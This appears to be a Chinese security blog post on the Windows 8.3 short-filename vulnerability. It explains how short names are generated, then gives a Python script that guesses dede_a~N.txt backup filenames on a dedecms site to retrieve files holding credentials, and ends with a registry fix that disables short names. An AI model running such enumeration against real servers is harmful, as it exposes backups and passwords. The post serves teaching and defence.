浅析Windows短文件名漏洞

2

0x01 短文件名的介绍

短文件名的由来

windows下的短文件名是dos+fat12/fat16时代的产物,又称为8dot3命名法
类似于PROGRA1(目录)或者元素周1.exe(文件)这样的名称
8是指文件名或目录名的主体部分小于等于8个字符
3是指文件名或目录名的扩展部分小于等于3个字符
中间以 . 作为分割在FAT16文件系统中,由于FDT中的文件目录登记项只为文件名保留了8个字节,为扩展名保留了3个字节,所以DOS和Windows的用户为文件起名字时要受到8.3格式的限制。

为什么现在Windows系统还存在短文件名这种表示?

从win95开始,采用fat32已经支持长文件名,但是为了保持兼容性,保证低版本的程序能正确读取长文件名文件,每当创建新文件或新目录时,系统自动为所有长文件名文件创建了一个对应的短文件名。使这个文件既可以用长文件名寻址,也可以用短文件名寻址。

0x02 Windows演示

开启查询:

2为开启状态,1为关闭状态
fsutil 8dot3name query

1

文件测试

2

命名规则

1)符合DOS短文件名规则的Windows下的长文件名不变。
2)长文件名中的空格,在短文件名中被删除。
3)删除空格后的长文件名,若长度大于8个字符,则取前6个字符,后两个字符以”#”代替,其中”#”为数字,数字根据前六个字符相同的文件名的个数顺延。若个数超过10个则取前5个字符,后三个字符以”##”代替,其中”##”为两位数字,若个数大于100也依此规则替换。
4)对使用多个”.”隔开的长文件名,取最左端一段转换为短文件名,取最右一段前三个字符为扩展名。

0x03 漏洞利用

漏洞环境:一般是iis配上.net的 或者Apache+Windows

以dedecms为例:

dedecms里面/data/backupdata/目录里面有织梦的备份文件,而且还是txt格式

3

根据短文件名的漏洞利用方式:
只有前六位字符直接显示,后续字符用~1指代。如果存在多个文件名类似的文件的话(名称前6位必须相同,且后缀名前3位必须相同),其中数字1还可以递增。且后缀名最长只有3位,多余的被截断。

python测试脚本(Python3):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
# -*- conding:utf-8 -*-
import urllib.request

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}

url="localhost/dedeCMS"
dir = '/data/backupdata/dede_a~'
for i in range(1,6):
urls = 'http://'+url + dir + str(i) + '.txt'
try:
head = urllib.request.Request(urls, headers=headers)
data = urllib.request.urlopen(head, timeout=3).getcode()
if data == 200:
print('########成功########' + urls)
else:
print('错误' + urls)
except Exception as e:
print("访问失败",urls)
print(e)
continue

逐一访问测试成功结果后,发现了账号密码:

4

0x04 漏洞修复

通用有效方法:

禁用windows系统中的短文件名功能。
打开注册表并打开此目录 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
修改 NtfsDisable8dot3NameCreation 的值为1 。
修改完成后,需要重启系统生效。

※需要注意:即使关闭了短文件名功能,也不会删除原有创建过的短文件名。

作者

Se7en

发布于

2018-11-15

更新于

2022-03-31

许可协议

评论